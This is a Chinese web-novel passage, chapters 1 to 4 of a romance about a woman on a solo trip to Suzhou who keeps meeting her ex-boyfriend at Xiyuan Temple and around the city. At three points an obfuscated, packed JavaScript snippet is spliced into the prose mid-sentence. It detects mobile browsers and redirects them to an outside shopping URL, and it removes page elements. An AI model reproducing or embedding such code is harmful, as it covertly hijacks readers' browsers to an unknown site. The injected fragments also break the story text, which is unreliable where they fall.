《在西园寺偶遇的crush是前男友》 1. Arrive 前往浦东机场的航班已经开放登机,前面排队的人都走完了,林夕妍还在一旁坐着,时不时看两眼手机,消息通知栏静悄悄的。 本该同行的徐佳明至今没现身,打电话不接,发消息不回,如同人间蒸发般在紧要关头消失了。 换作其他朋友,林夕妍并不计较迟到和临时变故。她常把“小事随便大事随缘”挂嘴边,又自诩善解人意,甚至在许多事情上大度到了无所谓的境界。 当然她对自己也过分宽容,旅游攻略约等于无,比起安排好的计划更喜欢想到哪去哪,即便是漫无目的地闲逛也别有一番趣味。 可徐佳明不同,他不是她的朋友,而是父母介绍的相亲对象。两人不算完全陌生,双方父母相识多年,逢年过节总会在饭局上相遇,算半个点头之交。 但自从年初那顿别有用意的晚饭后,彼此从只知道对方姓名、长相的交情突然就变成了相亲的关系。 平心而论,徐佳明除了名字泯然众人了些,长相身材都不错,倘若走在路上,林夕妍会回头多看两眼。 对于自己是颜控这件事,林夕妍从来不否认,被亲戚问到理想伴侣是什么样时,她说一要长得帅,二得身材好,还有,低于一米八的不要(179.9也不行)。 抽烟喝酒赌博闝倡四不沾,这么简单的要求就不提了。 当然最重要的一点——器大活好。 热衷催婚催育的亲戚们突然在此刻集体沉默,父母忙打着哈哈转移话题,林夕妍笑眯眯地说那就有劳各位长辈帮我留意一下符合要求的优质男青年。 有亲戚觉得没面子,指责她要求这么高是故意刁难。她又眼睛一弯,反问,这也叫要求高,您是看不起我还是因为自己做不到,所以不相信有这样的男同胞存在? 都说伸手不打笑脸人,可总有亲戚不知好歹,还拿她做人情,介绍些歪瓜裂枣。 林夕妍痛心疾首,一副无可奈何的样子,当着亲戚的面把相亲对象数落得一无是处。 自那之后不仅亲戚们消停了,连林父林母也有点怕她那张没把门的嘴,被逼急了保不齐再说出点不能听的诨话。 母亲廖友娟恨铁不成钢,“我知道有些亲戚介绍的不靠谱,但你那样说人家也会自卑的,男的本来就受不了太大打击,你这不是扎人心窝吗?我看你跟贺明朝谈恋爱别的没学会,光学会嘴毒怼人了。” 听妈妈提起贺明朝,林夕妍只觉得稀奇。 以前两人谈恋爱时她没少被贺明朝那张破嘴气个半死,一生气就和父母抱怨。 “由奢入俭难呐,但凡你给我介绍一个各方条件都堪比贺明朝的,我也无话可说。” 于是徐佳明就这样成了她的相亲对象,除去有待验证的最重要的最后一点,其他各项要求都符合,在相亲市场上俨然是不可多得的上等货。 只是在她眼里也依然待价而沽。 譬如现在,这人放她鸽子还玩失踪,满分一百的试卷顷刻扣了大半,立马被判定为不及格。 眼看即将停止登机,林夕妍没必要再等,徐佳明不会来了。 被迫的双人行突然变回她的单独行,林夕妍其实松了口气,可徐佳明始终不回消息,她又担心对方出了什么事。 就在她登机坐下,准备告知父母情况的时候,徐佳明打来电话,“抱歉,我临时有事,不能陪你去苏州了。” 林夕妍憋了一肚子火,“你放人鸽子真有一手,给你打了多少电话,早不回晚不回,偏偏在飞机要起飞了打过来,故意的吗?我知道你跟我一样身不由己,不想去可以提前跟我通个气,而不是用这种玩消失的方式先斩后奏。” “……”徐佳明自知理亏,想解释,却没能说出个所以然,只苍白地辩解,“我没有不想去,只是事发突然,上午也不是故意不接电话。” 机上广播在提醒乘客将手机调至飞行模式,林夕妍没时间和他多废话,“你之后最好给我一个合理的解释,还有我父母那边你也记得去说清楚,不是我不带你去,是你自己的问题。” 说完挂断电话,删掉准备给父母发的消息,打开飞行模式。 苏州没有机场,这趟航班由丽江飞往上海,抵达浦东机场后再坐高铁去苏州。 林夕妍大学三位室友有两个都来自江苏,一个无锡,一个常州。当问起她们最推荐去哪个城市旅游时,散装江苏难得给出了一致的回答——苏州。 她想去苏州很久了,但之前一直碍于工作走不开,这次交完稿子,恰好又对终卷的结局没灵感,编辑建议她出去走走,于是去苏州旅游就这么顺理成章地决定了。 到酒店办理完入住,已经过了晚饭时间。林夕妍简单收拾了一下房间,她要在这里住五天四晚,检查完隐藏摄像头、对把手都进行了消毒,才终于坐下来,选了张出高铁站时拍的晚霞,发了条带有苏州定位的朋友圈。 除了是旅行记录外,也存了点专门发给父母和徐佳明看的心思。 廖友娟很快打来视频,看到她身后的装修,问:“到酒店了?还没吃饭吧,晚上准备和小徐去哪里逛逛?” 一听这话,林夕妍就知道徐佳明还没说自己放她鸽子的事,唇边不由浮起抹冷笑,“我点了虾肉小馄饨和生煎,一会儿就到。给你看下我的房间,”说完她起身举着手机在房间展示了一圈,“大床房带一个露台,挺好的。” 又指了指隔壁,“本来徐佳明应该住那边或者对面,可惜他没来,浪费了这么好的房间。” “什么?徐佳明没来?”廖友娟声音顿时提高几分,这话把在厨房准备做饭的林海兴也引了过来。 他凑到镜头前,“小徐怎么没来,你现在是一个人吗?之前是因为说了让小徐陪你,我们才放心你去的,他现在为什么没一起?” 每次想到父母让徐佳明陪她同游苏州的理由,林夕妍就想翻白眼,她真不知道单身女性独自旅行与和陌生异性同行哪个更危险。 可能父母觉得徐佳明不算陌生人,但他们不知道还有一个词叫熟人作案吗? “我也挺好奇有什么事情能让他失联一上午,在航班起飞前才打电话来说去不了了。可能是工作上有什么突发事件,他真的走不开吧。反正电话里也没说清楚,不如你们帮我去问具体点?” 廖友娟推开林海兴,“妍妍,我还能不知道你吗,小徐不去不是正合你心意,现在得了便宜卖乖,无非就是不爽被他临时放鸽子。行了,你好好玩,自己注意安全,晚上别太晚回酒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16661004|188437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 店,小徐那边我会让他给个说法的。” 挂断视频,朋友圈已经有不少人点赞评论,她想看看有没有徐佳明,在一众头像里翻过去,滑动的手指突然顿住,思索两秒又往回翻,停在一个黑色头像上。 头像并非全黑,点开放大会发现那其实是张星轨图。 她没想到在列表躺尸三年的贺明朝会突然给她点赞,两人分手后虽然没互删微信,但谁也不给谁点赞评论,都安静地如同不存在。 她很久没刷到过贺明朝的动态了,以至于有段时间没想起来这人。然而一旦想起来,就忍不住点进他朋友圈从头到翻到尾,尽管权限是一年可见,发的内容只有工作,林夕妍也能一条不落地看完。 既然有对方微信,应该没人能忍住不视奸前男友吧? 今天也不例外,贺明朝破天荒点了个赞,不知道是不是手滑,反正林夕妍就从消息列表里点进了他的朋友圈。 可见的内容又少了一些,而她对最新的一条朋友圈没印象,或许恰巧没刷到,是四张园林的照片。 点进详情看了眼时间,内容发布于一个月前,还有几个共有点赞了。 难道贺明朝之前也来苏州旅游了? 就在林夕妍胡思乱想的时候,那张星轨头像就在屏幕上方跳出来,贺明朝的消息毫无征兆地发过来:「来苏州玩吗?」 林夕妍的页面还停留在他最新的朋友圈上,看到这条消息心搏骤停了一瞬,唯恐误触点赞,来不及多想就吓得直接从后台删了微信。 她一颗心七上八下地乱跳,等缓过神来,才意识到刚才那一连串下意识的反应过于一气呵成,这种行为完全出于视奸前男友被抓个正着的心虚。 虽然她知道这只是巧合。 林夕妍冷静了好一会儿,才装作若无其事重新打开微信,给贺明朝回了简单又敷衍的一个“嗯”。 她盯着备注变成“对方正在输入……”,然而比消息先来的是外卖。 床头座机响起铃声,林夕妍开门从机器人抽屉里取出外卖,隔着保温袋也能感受到生煎的温度,香味扑鼻而来。 拆开袋子拍完照,贺明朝斟酌再三的消息终于发过来了:「我最近在苏州有拍摄,下个月走。」 谁问他了?林夕妍不明白他说这些做什么。 贺明朝:「希望你玩得开心,如果有需要可以找我。」 她咬着筷子飞快打出一行字:「谢谢!但不用了,你工作重要,我自有安排。」 林夕妍没有删聊天记录的习惯,哪怕和贺明朝分手了,从前的对话也都在,所以她一直不敢点开两人的聊天框。 许久没联系的人突然发来消息,都不用往上翻就能看到之前的聊天记录。 今天之前的最后一条微信是贺明朝在分手后一周的凌晨发来的:「我到阿拉斯加了,这里一切顺利,过几天就能去拍驯鹿迁徙。以后你不用再为我担心,希望你每晚都能睡个好觉。」 当年南极意外后为了阻止他去阿拉斯加,林夕妍提出分手,可即便如此也没能改变贺明朝的决心。 既然他以前可以为了工作不顾一切,现在也没必要对着前女友假客气。 都分手三年了,何不一直形同陌路下去。 2. Day 1 苏州热门景点很多,有名的寺庙也不少。林夕妍最近因为稿子画得不顺利,想着在旅行途中去趟寺庙求事业,在寒山寺和西园寺中略作纠结,很快就决定选择后者。 她没有细查攻略,只是刷了几条二选一的帖子,网友们更推荐西园寺,不仅占地面积大,可以吃素面,寺庙里还有很多小猫,相较之下寒山寺就显得很普通。 出门前她特意没吃早饭,直接打车去了西园寺。 在门口扫码买票的时候遇到几个大学生,几人说说笑笑着出示了学生证,各领了三炷香进寺庙。 林夕妍不禁想起自己的大学时光,那时候还不像现在这样十天半个月不出门,恰恰相反,她经常逃课陪贺明朝出国拍摄,跟着去了不少地方。 他用来拍摄动物与风光的镜头总是不知不觉就转向她,无数个按下快门的刹那,光与影、人与景融为一体,所有瞬间被相片定格。 作为交换,贺明朝也会翘课在画室里陪她一待就是一整天,做由她随意摆弄的私人模特。 那些画稿和照片都被林夕妍存在私密相册里,这个相册还存了很多见不得人的截图。 她曾想过如果哪天自己出了意外,就算吊着最后一口气,也要把这个相册和谷歌搜索记录还有一些软件的浏览历史全部清空。 一定是因为昨天跟贺明朝短暂聊了两句,才让她现在又想起了他。林夕妍重新整理好思绪,领了香跟在那几个大学生后面。 进门直走过了钟楼和鼓楼就是天王殿,殿前右侧的燃香炉前站了不少香客。她将香点燃,站在正对大殿的树下将香举至齐眉,弯腰对佛像拜下,在心中念着自己的名字、出生日期和身份证号码,请求菩萨能保佑她的画稿顺利过审,终卷顺利完结。 正准备起身,又忽然停住,顿了两秒在心里再度祈祷:菩萨,请不要嫌我贪心,若是能借此机会再求得正缘,斩去那些冤孽就再好不过。 希望以后父母和亲戚都不要再给她介绍相亲对象,就算正缘来得晚,她也宁愿顺其自然。 这回才算全部许愿结束,再把香插进炉里。 上完香,林夕妍直奔面馆,根本不用找路,跟着人群走就是,面馆门口的长队一直排到外面。 终于快轮到她,阿姨随手一指身后的挂牌,共有三种面可以选,其实汤底都一样,只是浇头不同。 在来之前林夕妍就想好了要点观音面,顺便还要了一份苏州特有的苏式绿豆汤。 面馆座位很多,但生意实在火爆,她端着托盘在边上等了会儿才看到有位置空出来,但离得有些距离,只能从人群中小心翼翼穿过去。 有个挤在人群中奔跑的小孩不小心撞到她,险些打翻手里的东西,还好有人眼疾手快从身后扶了她一把。 但碗还是倾斜了一点,面汤泼洒出来,幸好没有溅到身上。 林夕妍松了口气,她不方便回头,只道了声谢,余光瞥见那人的一袭黑色衣角。 “不客气。”他的声音夹杂在面馆的一片嘈杂中,听不太真切。 终于坐下吃上早餐,面汤很鲜,三鲜浇头咸中带甜,笋片又嫩又脆。 绿豆汤喝第一口果然很怪,薄荷精的味道有些上头,越喝越喜欢。糯米很有嚼劲,唯独不喜欢里面的冬瓜糖,但总体来说还算合她口味。 来西园寺除了求神拜佛祈求事业与姻缘,林夕妍还准备了纸笔想找个地方写生。 在网上看到西园寺里有很多猫猫,虽然目前在画的奇幻少女漫卡在了结局,但这并不影响她构思下一本的剧情,而下一本漫画主角正是狸花猫。 从面馆出来走一段就是依水而建的湖心亭,墙上挂了许多临帖砖,她找了个人少的僻静处坐下,阳光从树冠顶端洒落,正适合速写练笔。 独自旅行的好处是她想去哪都随心所欲,如果想在这待上一整天也不会有人催促。 画着画着,有只黄色小猫进入她的视线,懒洋洋迈着猫步走到光斑中心伸了个懒腰,然后趴下不动了。 简直是送上门的小猫模特,她生怕等会儿猫就会离开,连忙换了一页画起来。 这只小猫格外配合,等林夕妍画完了都还在原地没走,只是偶尔换个姿势,反而给她的速写添了几分生动。 等她画完收笔准备离开的时候,看见不远处有个黑衣男人半蹲着,举着的相机正对她画的那只猫。 同一个参照物,有不同的记录方式。 她原也只是不经意的一瞥,未料却被吸引住了。 男人的衣服随着他下蹲的动作收紧,衣袖为了方便卷至肘间,小臂上凸起的青筋清晰可见,脊背亦挺得笔直。 单单一个背影,林夕妍就瞧得移不开眼,忙把收起的纸笔又拿出来,在画完的小猫旁边匆匆落笔,三两下勾勒出一个模糊的身形。 只是当她开始描绘细节的时候,莫名觉得那背影有几分熟悉,一个模糊的、不敢置信的念头在脑海中隐隐浮现。 但那概率太小,比起上前确认,她还是驻足在原地把速写画完。 等最后一笔落下,才犹豫着抱起画本走近,想借着问男人要联系方式的机会打破自己的猜想,“您好,请问可以——” 话说了一半,半蹲着的男人听见声音回头,余下的话无需再问。 那荒唐的、戏剧般的猜测在此刻变成现实,眼前的男人正是贺明朝。 她以为昨晚和贺明朝短暂的聊天已经够意外了,怎么也没想到会在此刻不期而遇。 林夕妍话音戛然而止,笑容僵在脸上,面颊很快传来一阵热意,浑身的血液似乎都在往上涌。 她仿佛突然失去语言和行动能力,就这样愣在原地,脑中如同倒带般闪过两人最后一次见面的场景。 最后一次与贺明朝见面是分手那天,在丽江机场,她因为无法阻止贺明朝去阿拉斯加所以口不择言,说了很多伤人的话,甚至诅咒他早晚有天会因为这份工作丧命。 尽管两人之间谁都没有原则性错误,仅仅是观念不合,也依然大吵一架闹到不欢而散。 假如林夕妍现在足够冷静,或许能发现贺明朝看到她时丝毫不觉得意外,但她太吃惊了,半晌才干巴巴问出一句:“你怎么在这?” “你能来旅游,我为什么不能在这?”他看了看她身旁,又问,“你是一个人来的?我还以为你跟朋友一起。” “没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16661005|188437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有啊,我跟相亲对象一起来的。”林夕妍也没想到自己话到嘴边竟然会这样说,倒也不算撒谎,只是相亲对象放她鸽子,没来成而已。 “哦,”贺明朝的语气变得意味深长,“可是看你刚才的样子似乎是想跟我搭讪。对了,你刚刚想问我可以什么?” “……”林夕妍再度无言,果然人不能有幻想,对男人更是,贺明朝这张狗嘴里还是吐不出象牙来,“你男大十八变我没认出来不行吗?看着背影不错,想找你当模特。” 这话七分真,她印象里的贺明朝肤色很白,干净得像瓷瓶,她以前还为此嫉妒过,说你一个大老爷们凭什么皮肤比我还好。 再看看眼前这个皮肤晒成小麦色的男人,不仅黑了几个度,身形也比原来魁梧不少。黑色衬衣包裹住紧实的肌肉,还顶着她从来没见过的寸头发型,和以前简直判若两人。 贺明朝将她的反应尽收眼底,忍不住调侃,“哦,意思是几年不见,还是喜欢我这款。” 事已至此,林夕妍懒得和他多说,只是后悔刚才上前确认的决定,如果时间能够倒流几分钟,在她越画越觉得不对劲的时候,一定选择掉头就走。 见林夕妍不说话,贺明朝脸上笑意不减,转头看向被说话声惊扰逃走的小猫,“先不说没经过我同意就画我,你把我的小猫模特吓跑了,这账怎么算?” “?”林夕妍被他气笑了,不可思议地瞪着贺明朝,有人会这么无赖地碰瓷吗? 他的目光又落到林夕妍怀中抱的画本上,“不如这样,作为补偿,把你画的画给我看看?” 原本林夕妍过来是想问他能不能当自己的模特,配合她做几个动作,顺便再把画的速写送他一张,只是谁能想到对方会是贺明朝呢。 现在别说是请他配合自己,就连速写都拿不出手,林夕妍一点都不想让他看到自己画的他。 “猫是被你吓跑的,关我什么事,我的画凭什么给你看?”她把怀里的素描本合上,三两下塞进包里,“你说我没经过同意就画你,那你拍小猫,问过小猫的意见了吗?” 说完背上帆布包,再不看贺明朝,转身直奔茶室而去。 一口气跑到茶室门口,林夕妍才放缓脚步,深吸两口气调整呼吸,冷静下来后回头看了眼,身后空无一人。 贺明朝没有跟上来。 确认完这点,林夕妍放下心来的同时竟然还感到一丝难以名状的失落。 既担心他追来,又希望他能追来,人果真复杂又矛盾。 但扪心自问,能再见到贺明朝,即便是在如此意想不到的场合下,她的行为甚至有些尴尬社死,也仍然觉得高兴。 至少三年过去,贺明朝依然是四肢健全、身体康健地站在她面前,也幸好当年的气话没有变成谶言。 除了比以前黑了点、体格更宽阔,至少还活着。 进茶室前,手机响起提示音,是贺明朝发来的:「你生产工具掉了。」 接着又发来张图片,图里是她很喜欢的一支铅笔。 林夕妍翻了翻包,用的最顺手的那支笔果真不见了,但避免因此再见面,她还是忍痛打下一句话:「麻烦帮我扔了,谢谢。」 3. Day 1 抄经的前提是心无旁骛,摒弃杂念,林夕妍将手机调至勿扰模式后才进了茶室。 进门正中是抄经台,桌子正中摆了一排漏斗形的竹条灯。灯光昏黄,桌面映出倒影,笔尖摩挲纸面的沙沙声平添几分静谧。 背后是整面玻璃花窗,窗外树影婆娑,光照下流淌着一片浓稠的绿意。 从工作人员手里接过《般若波罗蜜多心经》,林夕妍在抄经台找空位坐下。 抄经前须先用桌上的洗手液净手,其次要静心。心不静,她不敢动笔,生怕有丝毫的怠慢。 在心中默念三遍“南无本师释迦牟尼佛”,脑中浮乱的思绪渐渐消散,暂且放下先前的慌乱。 林夕妍一心一意、一笔一画从头落笔,抄经不限制时间也没有页数规定,可以写完整本,也可以只写一页就离开。 原本林夕妍只想体验一下就离开,现在遇到了贺明朝,她担心太快出去又和他碰上,索性在茶室里多坐一会儿,不知不觉也就抄完了一整本。 末了停笔,合掌念诵“愿以此功德普及于一切,我等与众生皆共成佛道”,再双手持经将物件放回原位。 天底下哪有那么巧合的事,林夕妍不信一天能碰到贺明朝两次,离开茶室后连素包都不去买了,她现在只觉得此地不宜久留,谁知道会不会又碰上贺明朝,还是赶紧离开此处前往下一个景点更保险。 然而还没走到出口,她就看见不远处靠墙站着的贺明朝,时不时看一眼人群,像在找什么。 “总不能是在等我吧。”林夕妍很不想自作多情,但为了保险起见,她下意识低下头努力降低自己的存在感,心里犯着嘀咕,急着想掉头换个出口。 只是不等她转身,贺明朝就已经锁定目标,并径直走了过来。 这下林夕妍真的欲哭无泪,她有点怀疑刚才上香许愿的时候是不是哪里说错了,分明求的是正缘,现在跟鬼打墙一样走哪都能碰到贺明朝,可不是孽缘吗? 他三两步走到面前,好整以暇地瞧她:“刚才落荒而逃,现在又要躲我,林夕妍你在心虚什么?” “谁躲你了,我只是刚好想起来还没去买素包,麻烦不要太自我意识过剩。” 贺明朝不甚在意地挑了挑眉,“我还在奇怪呢,你来都来了,只吃素面不吃素包,岂不可惜,原来是忘了。正好,我刚买多了,你现在去排队要等重新蒸,得等好一会儿。” 他手上拎了两个小塑料袋,直接往她怀里塞,“青菜和豆沙两种口味各一袋,请你。” “我一个人吃不了这么多,多谢你的好意。”林夕妍扯了扯嘴角,推拒着还给他,拉扯间瞥见他白色衬衣的袖口上有一块棕色污渍,脑中顿时闪过一个念头,“刚才在面馆的那个人是你?” 贺明朝权当没听见后面的问题,收手插进口袋,不给她拒绝的机会,只说:“谁说要你一个人都吃了,不是还有相亲对象吗?请他一起吃,别客气。对了,昨天微信上我说的话依然算数,有任何需要可以找我。” “能有什么需要,为什么要找你?” “谁知道你是又被熊孩子撞了,还是再眼拙认错人,对着前男友犯花痴尴尬得不行。” “所以你早就看到我了,结果装不认识?”林夕妍从他话里听出几分调笑意味,心里登时窜上一股无名火。 贺明朝语气依然轻飘飘的,三两拨千斤,“我也眼拙,只觉得眼熟没细看,现在才确认。”他表情特欠揍,但格外有眼力见,在林夕妍彻底炸毛前准备跑路,走前还不忘说:“包子趁热吃,我还有事,就不打扰你了。” 说罢潇洒转身挥挥手,过马路转个弯,汇入人群很快就消失不见。 望着他离开的背影,怀里的包子热腾腾的,林夕妍拿也不是,扔也不是,总不能浪费食物,随便拿了一个愤愤咬了口。 味道意外的不错,豆沙馅很绵密,味道甜而不腻。 见贺明朝走了,林夕妍又折回去,重新在西园寺里逛了一圈,她走到罗汉殿前,犹豫了半天,到底没进去。 看今天的运势,短短上午几小时就够戏剧了,她不敢再有所求。 从西园寺出来,步行十分钟就到了四大名园之一的留园。 这本来不在林夕妍的计划上,当然她也没什么计划,除了目标明确的西园寺,其他都看心情和体力。 只是恰好听见旁边同样来旅行的路人随口一提,就心血来潮开了导航。 如果她没记错,贺明朝朋友圈发的四张照片的其中一张就是留园。 鬼使神差的,她点开那张图,判断了一下方位,走到可能取景的位置,点开相机找了会儿角度,拍下极其相似的一张。 她无法解释自己的行为,只是这样做了。 留园面积不大,走马观花逛了不到半小时就出来了。在原来的设想中,林夕妍打算下午如果愿意就去山塘街逛逛,等到晚上坐个游船,再去附近找个小酒馆喝点。 她又一次忍不住感慨独自旅行的好处,没有约束不必将就,自由到可以凌晨三点还在外面闲逛。 只是她估算错了自己的游玩速度,眼下从留园出来时间还早,才刚到吃午饭的点,一时也不知该去哪里浪费时间,就将计划提前,去山塘街找了家很火的蟹黄面馆。 在踏进去之前,林夕妍就做好了这种网红店不会好吃的心理准备,蟹黄未必是真的,估计都是半预制菜。 可无数中国人都败在一句“来都来了”上,林夕妍也不例外。她抱着不如什么都试一试的心态,还是不信邪地点了份蟹黄捞饭。 结果可想而知,和预想中一样普通,只是也算不上难吃,但绝对不会尝试第二次。 为此还发了条朋友圈吐槽,让朋友们以后不要好奇,大可不必浪费钱。 贺明朝又点赞了,还给她发了私信:「已经到能吃大闸蟹的时候了,有机会不如试试新鲜的螃蟹,来苏州不吃蟹也很可惜。」 林夕妍:「现在摄影师的工作都这么清闲吗,有时间对前女友的旅行这么上心,要不改行来当导游?」 贺明朝:「谁让我乐意以德报怨呢。」 接着他又发来一份Excel表,里面按照景点、餐饮、文化等多种关键词进行了分类,每一条都写了具体的评分和简介,以及对应的交通方式,是一份详细的苏州旅游攻略。 林夕妍:「真改行了?你说在苏州的拍摄工作不会是给人又当旅拍师又当导游,一份工挣两份钱吧?」 贺明朝回了个无语的表情包:「助理建的共享文档,大家一起填的,你要是玩完有补充,也可以在线修改。」 贺明朝总算做了件好事,这份攻略来得正是时候,林夕妍在网上看了好多帖子,自来水和广告真真假假难以分辨,有了这份表格,她参考起来也更方便。 到底是拿人手短,这次她回了个愉快的黄豆表情:「收到,多谢~」 态度一百八十度大转变,能屈能伸。 吃过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16661006|188437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饭,林夕妍从山塘街这头走到那头,奈何太阳毒辣,而且景区商业化严重,逛完这里仿佛逛完了无数个旅游城市的网红古街,她实在没有耐心耗到夜幕降临。 烈日晒得人有些犯困,她直接打车回酒店,准备睡午觉。 路上给好友方珏发消息,对方得知她玩了半天就回酒店躺着,连连摇头,说她下次不如找个度假酒店躺着,还能免得在路上折腾。 林夕妍:「没办法,我们低精力人是这样的,尤其是天热的时候电量会大打折扣。」 方珏:「拉倒吧,你以前跟贺明朝全世界跑的时候可不这样,一天没睡觉照样精力充沛地去追鲸鱼,人家船长都要放弃了你还不死心。」 那真是一段有些久远的经历了,曾经她也和贺明朝一起去过不少能称得上浪漫的地方,做了许多此生很可能不会再有第二次的事情。 听方珏冷不丁提起贺明朝,林夕妍犹豫着还是把自己昨晚和上午的经历跟她说了。 方珏丝毫没觉得意外:「哼哼,我就说嘛,从来不给你点赞的人昨天突然点赞了,事出反常必有妖。虽然我知道他也在苏州吧,但你们这什么缘分,第一天就偶遇不说,还偏偏是在西园寺。」 林夕妍:「西园寺怎么了,有什么说法吗?」 方珏:「你可真得改改什么都不查就去的毛病,西园寺求姻缘很灵的。」 看到这句话,林夕妍立刻打开某书进行搜索,刷了几条相关帖子后哀号一声,连说两声坏了坏了。 司机师傅好奇地从后视镜里瞥了她一眼,“小姑娘怎么啦?” “师傅,你是本地人吗?西园寺究竟灵不灵啊?” “我没去求过,不过听说数罗汉还蛮灵个,求姻缘也有点东西。但寺庙嘛,不管信不信,多多少少有点说不准的玄学,不是正缘去了,当心单身三年。要是真成了,记得回来还愿。” “那我宁愿寡三年。” 和司机聊完,林夕妍才回方珏:「其实贺明朝刚才还给我发了攻略,我怀疑他在故意刷存在感。」 方珏:「你一个从小就画少女漫,天天爱幻想的人,对自己的第六感有点自信好吗?不过也别太自信哈,生活毕竟不是漫画。」 「不过你知道贺明朝这三年都在干嘛吗?我刚刚问了他朋友才知道,前两年他本来要登珠峰,但不知道为什么最终整个团队都没去,后来他就一直留在西藏给游客拍婚纱照。」 以前和贺明朝谈恋爱的时候,林夕妍会跟他的朋友们一起团建,但没有私下玩得好的,分手后自然也就没再联系的必要。 对于方珏说的,林夕妍一无所知。 从极限风光摄影师到婚纱摄影师,跨度大到连拍摄主体都变了。而拍人像,是贺明朝曾经最讨厌的事,只有给林夕妍拍的时候才充满耐心。 他以前说过,如果因为风光摄影吃不上饭而不得不去拍人,还不如直接转行。 当年的语气那样坚决,结果现在不还是去拍婚纱照了。 随后方珏给她发了几张陌生人的婚纱照,她说那是别人给她发的贺明朝拍的一些作品。 林夕妍一张张翻过去,新人脸上洋溢着笑容,身后是雪山、冰川、草原…… 在婚纱照上仍旧可见自然风光的壮阔,人与景融为一体,或许贺明朝最终在这份工作中找到了平衡。 林夕妍无声叹了口气,视线从手机移向窗外。 原来他不是不能改变,只是她没赶上时候。 4. Day 2 不论是在家午后小憩还是旅行途中午睡,醒来后林夕妍都只有两种选择。 要么继续昏天暗地睡到晚上,要么挑部下饭剧点外卖,很显然,正式旅行的第一天早在她决定从山塘街打车回来休息的时候就结束了。 但到底是出来旅游,睡觉还不如回家,对于今晚的晚饭她也有明确打算。 这次她换了一家苏州本土很受欢迎的米粉店,在众多选择里挑花了眼,最终点了一碗泡椒鸡杂拌粉。 奶茶也必不可少,朋友还向她推荐了一个苏州本地的奶茶品牌,求她一定要试试这家店的芋圆桂花乌龙奶茶。 外卖送达时林夕妍还没选到想看的下饭剧,换做以往,她势必要找到心仪的片子才肯动筷,但现在就随意多了,找不到也不强求,从以往喜欢的剧中随便挑一部,而此时此刻《晚酌的流派》就正适合。 还没打开外卖包装,属于泡椒的鲜辣就扑鼻而来,光是闻到味道,林夕妍就知道自己没有踩雷。 当然说到米粉通常会想到许多其他的城市,苏州并不在列,但今晚点的这碗鸡杂拌粉格外符合她这个云南人的口味,后来回到丽江好长一段时间都念念不忘。 享受完安逸的一人食时刻,林夕妍决定早点洗漱,争取在十一点前入睡。 明天下午要去平江路拍旗袍写真,这原本不在她的计划中,但朋友又一次极力推荐,甚至帮她预约好了时间。 也多亏她无所谓,没计划,才不会觉得朋友擅作主张,反而觉得不能辜负他人的一番好意。 只是林夕妍平时在家作息阴间,长期的熬夜赶稿让她黑眼圈很重,气色也一般,为了明天拍照能有个好状态,她不得不临时抱佛脚,洗漱完敷好面膜,无比克制地看了一本短篇漫画就在十一点前关灯睡觉。 至于一天早睡是否有奇效,第二天闹钟响的时候她就用手机屏幕检验了结果,那微不足道的一点改善也不过是心理暗示。 她订的酒店就在平江路附近,步行几分钟,并不急着前往。 在餐厅慢悠悠吃到早餐结束,林夕妍才回房间开始化妆,不过也仅仅打了个底,其余的就交给下午专业的化妆师发挥。 苏州十月的气温还没能降下来,昨天下午正是受不了高温才回酒店,而今天下午要在室外拍摄一个多小时,林夕妍已经能够想象烈日暴晒下的狼狈。 预约的拍摄时间是一点半,化妆师让她提前一小时到店选衣服确定妆容和拍摄风格。 十二点的闹钟响了第三次,林夕妍不得不带上伞出门,随行包里有电风扇,本来是打算在拍摄转场时防止脱妆用的,然而一出门,迎面吹来的风就热的她受不了,刚出酒店就忍不住拿出来用了。 分明已经立秋,苏州的夏天却像还没结束一样,真够漫长。 朋友给她约的那家复古写真馆在平江路的巷子里,一路上七拐八绕,并不好找,她顺路买了些小吃,原想着打发化妆时间,没想到从确定旗袍和拍摄风格到化完妆做好发型,四十分钟就全部搞定,却在一点半的拍摄时间被告知摄影师还在拍上一组,让她到边上坐着等一会儿。 这家店名说是写真馆,其实有一间门面,狭小的空间里塞下四张化妆桌,却只有两位化妆师,既要负责妆面,还要做手推波。所谓换衣间,也不过是两块帘子隔开的空间,在旁边等待的人远比正在准备的人多得多。 把带来的小吃都解决掉,林夕妍又开始百无聊赖地看漫画,等快两点半,摄影师终于姗姗来迟。 如此漫长的等待,让她想起了前两天在机场的遭遇,自然也无可避免想起徐佳明,这人在电话里多礼貌,嘴上说得好听,结果后来就没了声音,也不知道廖友娟是不是真去找他要说法了。 而白白浪费了一个小时,店里空调冷气还不够足,林夕妍自然不爽,可看到摄影师满头大汗进来的样子,到底忍住了没说什么。 她不想再浪费时间,指了下平板上早就选好的模板,言简意赅:“走吧,早拍完早结束。” 